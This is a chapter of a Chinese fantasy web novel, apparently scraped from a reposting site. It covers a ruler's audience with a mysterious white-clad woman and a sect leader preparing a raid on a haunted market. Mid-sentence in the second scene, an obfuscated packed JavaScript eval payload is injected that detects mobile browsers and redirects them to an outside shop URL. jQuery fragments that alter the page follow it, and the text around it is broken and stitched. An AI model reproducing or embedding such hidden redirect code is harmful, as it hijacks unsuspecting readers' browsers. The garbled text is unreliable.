126.神女
作品:《留尘染情》 格鲁王庭,穹庐高阔,兽骨为饰。
王座嵌于最深处,两侧燃着巨烛,火光将王座上那人的影子投得巨大,几乎覆盖毡壁。
一人斜倚着王座,一手支颐,她生得高大健硕,样貌浓烈,眉骨高耸,眼窝深陷。墨发编成数十根细辫,缀着各色宝石与金珠,垂落肩头。衣着内里是宝蓝色交领长袍,腰间束着纯金嵌玉的宽腰封,金链垂落在下。外罩的深褐大氅滚着一圈浓密的黑狐毛。她指尖漫不经心地搭在扶手上,眉眼已见三分睥睨天下的威仪。
她便是格鲁的皇,苏伊娜。
传闻,她三岁挽弓,五岁箭贯奔兔,八岁随军远征,亲手割下第一个敌人的头颅。
而她十岁那年,父汗暴毙,叔父夺位,兄长战死。她提着父汗的刀,单骑入叛军营帐,斩叔父于众目睽睽之下。
那一夜,十八部重新臣服,她十三岁未满。
后,舅舅不服,勾结三位可汗起兵逼宫。她设宴相迎,席间谈笑风生,亲手为舅舅斟酒。酒过三巡,她起身离席,帐帘落下的一瞬,万箭齐发。
舅舅与三位可汗被钉在座上,至死不敢相信,那个笑吟吟给他们倒酒的小姑娘,翻脸竟比翻书还快。
自此,再无人敢直视她的眼睛。
格鲁没有神明。
若有,就是她苏伊娜。
殿内跪着几名刚述职完毕的部族首领,噤若寒蝉,大气不敢出。王这几日心情极差,只因她最疼爱的义妹,那个如镜中画般安静美丽的苏娅兰,竟在王庭中凭空消失了,至今杳无音讯。虽已派出数队精锐搜索,她眉宇间那抹烦躁依旧挥之不去,没人敢触霉头。
此刻,她正用一柄镶宝石的匕首,漫不经心地削着一颗香梨,梨皮垂落,薄如蝉翼,竟未断过。
殿外风声呼啸,她削完最后一刀,梨皮完整坠地。苏伊娜将梨随意递给身侧侍从,一双金瞳扫过下方跪伏的臣属,正要开口斥退,一名亲卫掀帘而入,单膝跪地。
“王,您先前派遣人往中原寻找的那名女子,已带到。”
苏伊娜挑眉,眸子抬起,落在那亲卫身上。先前寻找?对了,几日前,曾有游商提及在边境见到一位气度不凡的中原女子,说她谈吐见识非同寻常,或许知晓些萨仁(1)在中原失踪前的线索。她当时随口吩咐下去,命人留意,若能寻到,便带来王庭问话。
没想到,竟真的找到了。
“请她进来。”苏伊娜坐直了身子,匕首随手插回腰间,微微眯起眼睛。能在这节骨眼上送来的人,希望,别让她失望才好。
殿门缓缓洞开,带起一阵风,殿内烛火摇曳。
一道身影逆着门外萧瑟的天光,缓步踏入。
来人周身素白,不染纤尘,像瑶池里的雪。通体是近乎透明的白,层层叠叠的纱罗从肩头垂落,头纱是极薄的白纱,笼在她乌黑的发上,遮住了眉眼,却遮不住那一身清绝。她整个人站在那里,便如同一尊行走于人间的观音塑像,从九天之外,误入了这兽骨与烈火构筑的蛮荒殿宇。
那脸也生得极静。
眉眼温婉如菩萨低眉,唇色极淡,似笑非笑,似悲非悲。
慈悲。悲悯。又仿佛,悲悯着整个尘世,却与尘世毫无关联。
她走到帐中央,距离王座三丈处,停步。
微微垂眸,双手合十,行了一礼。
从头至尾,未发一言,只有素白的头纱拂动了一下。
苏伊娜撑起身子,手肘支在膝上,微微前倾。
“中原的女子?”她开口,“你叫什么?”
素白衣衫的女子缓缓抬起眼,隔着头纱,与苏伊娜的目光短暂相接。
那双眼,清澈如水,温润如玉,却偏偏,空无一物。
她启唇,声音清越空灵:“云之君。”
语毕,她再次垂眸,双手合十,素白的头纱微微拂动,如同一片落入尘世的云。
殿内静默。
苏伊娜眉头微动,眼底兴味愈浓。
云之君……云中之君。
好一个飘渺出尘的名字。
这个名字,太过虚无缥缈,不似人间所有。她是谁?会和她的萨仁有关系吗?
火盆中的木柴,又爆开一声轻响。远处,隐约有驼铃声传来,叮咚作响,渐行渐远。
密函里的消息像一尾滑腻的鱼,在故尘染指尖下翻来覆去地游了三遍,终于吐尽了它藏着的所有鳞片。
红莲派的人,就藏在妖骨市。
倒也不是那种蛰伏,那群疯子是正大光明地租下了西市一间废弃多年的老宅,日日夜夜有人进出,不知在捣鼓什么勾当。
故尘染将那密函往案上一摔,闭了闭眼。
妖骨市。
又是妖骨市。
那个地方,她光是想起就觉得后背发凉。她这条命是偷来的,阎王都没她账,她不怕死。可她怕那种死法,死在幻境里无数次,每一次都清晰得刻进骨头里。桃花树下的尸体是她,尸山血海中的刽子手是她,老太婆辱骂声中瑟瑟发抖的孩子是她,斩杀了无数个“夜楠”后踏着亡骸前行的人也是她。
还有最后那个抹杀的幻境,那种存在被一点点擦除的冰冷……现在回想也让她烦躁。
而现在,她得主动回到那个地方去。红莲派这条线,又把她拽回那个鬼地方。
她可不想再去那个鬼地方。
一万个不想。
可她不得不去。
“去他爹的。”
好久没骂人,憋死她了,天天装什么深沉的不喜于色万尊阁主,都狗屁去吧。
今日是真烦透了。
江暮眼观鼻鼻观心,假装没听见,左右不过几句糙话,又没伤着谁,他只管听着就是。
她抬手狠狠按了按眉心,将那股翻涌的烦躁生生压下去,然后往椅背上一靠,不再说话。
江暮就立在侧旁,一身黑色紧身长袍,腰悬长剑,面容沉静得如同一尊人形的摆设。他知道阁主此刻不想被打扰,便只是静静地立着,跟阁主这么久了,他最懂什么时候该出声,什么时候该当自己是截木头。
外头传来脚步声,一轻一重,一缓一急,楚逢天与恨天走了进来。
故尘染目光扫过来人,眼底那层烦闷并未散去,她现在恨不得现在就提剑杀进妖骨市把那些人剁成八块,但她还是极快地敛了敛神色,从椅上起身,绕过书案,端端正正地朝二人行了一礼。
动作规矩,姿态恭谨,挑不出半分错处。
“楚长老,恨天长老,深夜前来,辛苦了。”
楚逢天看在眼里,眼底掠过一丝笑意,却也不点破,只是摆摆手:“阁主不必多礼。”
她倒也不客气,坐下端起桌上那盏早已凉透的茶,抿了一口,眉头皱了皱,又放下了。
“阁主这一宿没睡?”她问。
“睡了。”故尘染也坐下,“睡了半个时辰。”
楚逢天嗤笑一声:“那叫打盹,不叫睡。”
言出,故尘染皱着眉,没说话。
恨天在一旁点了点头,神情寡淡,算是打过招呼,本想坐下,却又往她脸上转了一圈。
“呵……”
故尘染诧异的看向他。
恨天继续说:“阁主这脸色,不知道的还以为谁欠了您八百万两银子呢。”
故尘染没接这茬,深吸一口气,只掀起眼皮看了他一眼。
楚逢天起身,踱到案前,扫了一眼那封被摔得有些皱的密函。
“消息查实了?”
故尘染点头:“红莲派潜伏在妖骨市,借着那里三教九流混杂,藏得很深。八成是想借往生殿的余威,搞点什么名堂。”
楚逢天沉默片刻,忽道:“那红莲派……老身与它,也有些旧账要算。”
故尘染抬眸看她,恨天也挑了挑眉。
楚逢天却摆摆手,没有继续说下去的意思,只是淡淡道:“陈年旧事了,不值一提。不过是些江湖恩怨,阁主不必往心里去。”
故尘染没有再追问。
“晚辈明白了。”
江湖中人,谁没有几桩不愿提及的往事?楚逢天愿意说这些,已是难得。剩下的,不问,便是尊重。
“倒是阁主,此事可已有决断?”
故尘染没接话,只是垂眸看向那密函,片刻后,她开口:“江暮。”
“在。”那道沉默的影子终于动了。
“传令下去,调二十名精锐弟子,明日卯时在阁外候命。要身手好、胆子大、遇事不慌的。往生殿的事他们都知道,愿意去的,多加三成月俸。不愿去的,不勉强。备足干粮、清水,以及……”她顿了顿,“克制阴邪之气的法器,越多越好。”
“是。”
“再让人盯着妖骨市西市那间老宅,红莲派的人但凡有动静,立刻来报,死活不论。”
“是。”
“另外,查一查那老宅周围的地形,有无暗道,有无埋伏。若有机关布置,一并记下。”
“是。”
江暮一一应下。
楚逢天与恨天在一旁静静听着,对视一眼,各自眼底都有些许欣慰。这位年轻的阁主,纵然心绪烦乱,可一旦落子布局,依旧条理分明,进退有度,随尊不悔,入尊更无悔。
故尘染吩咐完,沉默片刻,又想起什么,从案上取过一张信笺,快速写了几个字。
“见梦:
红莲派事起,妖骨市将乱。趁此机,去接你弟弟。
万尊阁会为你清障。
不必谢我,日后多杀几个邪教妖人,便是还我。
染”
她搁笔,折好。
“来人。”
门外应声进来一名亲信。
“把这封信,亲手交给明见梦。告诉她,”故尘染抬眸,目光沉沉,“让她放心去,妖骨市这边,有本座在,翻不了天。”
亲信领命而去。
楚逢天在一旁听着,眼底的笑意更深了几分。这位阁主,嘴上从不说什么软话,可那些藏在吩咐里的体贴,她听得出来。
恨天也点了点头,难得开口说了一句:“阁主思虑周全。”
恨天目光落在故尘染身上,他沉默片刻,忽然开口:“妖骨市那边,需要我带人先去踩个点么?”
故尘染抬眼看他,摇了摇头:“暂时不必。那边情况复杂,打草惊蛇反而不妙。待我到了再说。”
恨天点点头,不再多言。
故尘染重新坐回椅上,抬手揉了揉眉心。
这世上哪有什么无缘无故的好?不过是各取所需罢了。
“妖骨市……”她又念了一遍这个名字,咬牙切齿的,“那个破地方,阴气重得要死,走两步都能撞见鬼。我他爹的真是上辈子欠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333284|177674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了谁的,这辈子非得一趟一趟往那儿跑。”
楚逢天闻言,眉头微微一挑,却不说话,只是瞥了恨天一眼。
恨天面无表情地开口:“阁主,慎言。”
“慎什么言,我又没说错。”故尘染瞥他一眼,语气懒懒的,“你又不是没去过,那地方什么德行你心里没数?我骂两句怎么了?”
恨天沉默了一瞬,似乎在认真思考这个问题。
然后他动了。
故尘染只觉得眼前一花,下一瞬,额头上不轻不重地挨了一记,恨天那只清瘦,骨节分明的手,此刻正曲起指节,毫不客气地敲在她脑门上。
“哎——!”
故尘染捂着额头,整个人往后一缩,眼睛瞪得老大,满眼的不可置信。
“恨天!你——”
话还没说完,另一侧,楚逢天的手也伸了过来,在她另一边的脑门上轻轻敲了一下,力道比恨天轻得多。
“老身也觉得,阁主该慎言。”楚逢天笑得慈祥。
故尘染捂着两边额头,一时间竟不知该作何反应。
她堂堂江湖叱咤风云的万尊阁阁主,被手下两个长老当众敲脑门?这传出去像什么话!
可偏偏……这两人一个是长辈,一个是元老,她还真不好发作。这俩加起来快一百五十岁的人,大半夜不睡觉,跑来她这儿,就为了弹她脑门?
楚逢天收回手,理了理衣袖,慢悠悠站起身,脸上那笑意藏都藏不住。
“年轻人,骂两句不打紧。”她居高临下地看着故尘染,“但骂多了,伤身。老身替你止一止。”
恨天也站起身,依旧面无表情,只是路过她身边时,极轻地吐出两个字:“活该。”
故尘染:“……”
合着这些老人家耳朵都这么好使?
故尘染要气死了,她现在特别想在殿里走来走去跺跺脚然后摔几个名贵瓷器之后把旁边一直闷着看戏的江暮拽过来冲他撒气发火痛骂一顿再悄悄溜回山上偷一坛师兄珍藏的酒喝上一晚宿醉街头等着弟子把她抬回万尊阁睡醒了就拉着值班弟子去吃烧烤。
对,再把妖骨市这破地方一把火烧了干净。
楚逢天似乎看穿了她的心思,却只笑了笑:“阁主深思,您要是一把火烧了,回头若需要据点,重建的银子,还不是得从您私库里出?”
故尘染:“……”
这话,没法接。
老人家撑着起身,准备告辞。
“楚长老慢走。”故尘染规规矩矩起身相送。走到门边时,她忽然顿住脚步,又补了一句,“明日出发,辰时正刻。烦请您老人家多穿些,妖骨市那鬼地方,阴气重。”
楚逢天回过头:“阁主有心了。记得,别再说那两个字。再说,老身还打。”
故尘染站在原地,看着那那道渐行渐远的背影,半晌,低低“啧”了一声。”
就这?
恨天悄悄立在她身后,略微低头盯着她的发顶,声音沉沉的:“折寿的话,不吉利。”
“嗯嗯嗯。”故尘染敷衍地点点头。
“小孩子家,骂什么骂。”他淡淡地说。
她继续敷衍:“知道了知道了。”随意摆了摆手,表示自己知道了、听见了、你可以走了。
身后却迟迟没有动静。
她后知后觉地转过头,发现恨天还站在原地,那双眸子正落在她身上,不偏不倚,看得她后颈莫名一紧。
“……”她眨眨眼,“长老还有事?”
恨天没有回答。
他只是伸出手,又一次屈指,在她额角轻轻一弹。
还是那个位置。还是那个力道。还是那微凉的触感。
只是这一次,他的指腹在她额上多停留了一瞬。
“敷衍长辈,该打,记住了?”他问,声音还是淡淡的。
故尘染捂着额头,一时语塞。
她该说什么?说记住了?记住了什么?记住了不能骂人,还是记住了他弹脑门的力道刚刚好?
恨天却不等她回答,已经转身,负手朝门外走去。长衫在夜风里轻轻扬起一角,又很快垂落,背影清瘦挺拔。
走了两三步,他忽然停住,略微偏着头说。
“听话。早些歇着。”
说罢,人影已消失在门外。
故尘染站在原地,捂着额头,盯着那空荡荡的门槛,半晌没动。
她站在门边,目送那道背影消失在夜色里,良久,忽地低笑一声,摇着头往回走。
烛火在她眼底跳跃,映出一张略显疲惫,又气又好笑的脸。烦归烦,该做的事,一件也不能落下。
干活干活。
她低下头,看着桌上那封密函,又看了看自己还捂着额头的手,而后“嗤”地笑了一声。
笑完之后,又骂了一句。
“真他爹的——”
话到嘴边,硬生生改成了:“真够可以的。”
还有,这老头子什么毛病,比她想象的难缠。
“啧。”她低低地又啧了一声,随即想起楚逢天的警告,下意识往门口的方向看了一眼,还好还好,老头老太太不在。
故尘染提笔沾了些墨,余光瞥见江暮还立在一旁,跟个影子似的。
“看什么看?”
江暮垂眸,面无表情。
故尘染哼了一声。

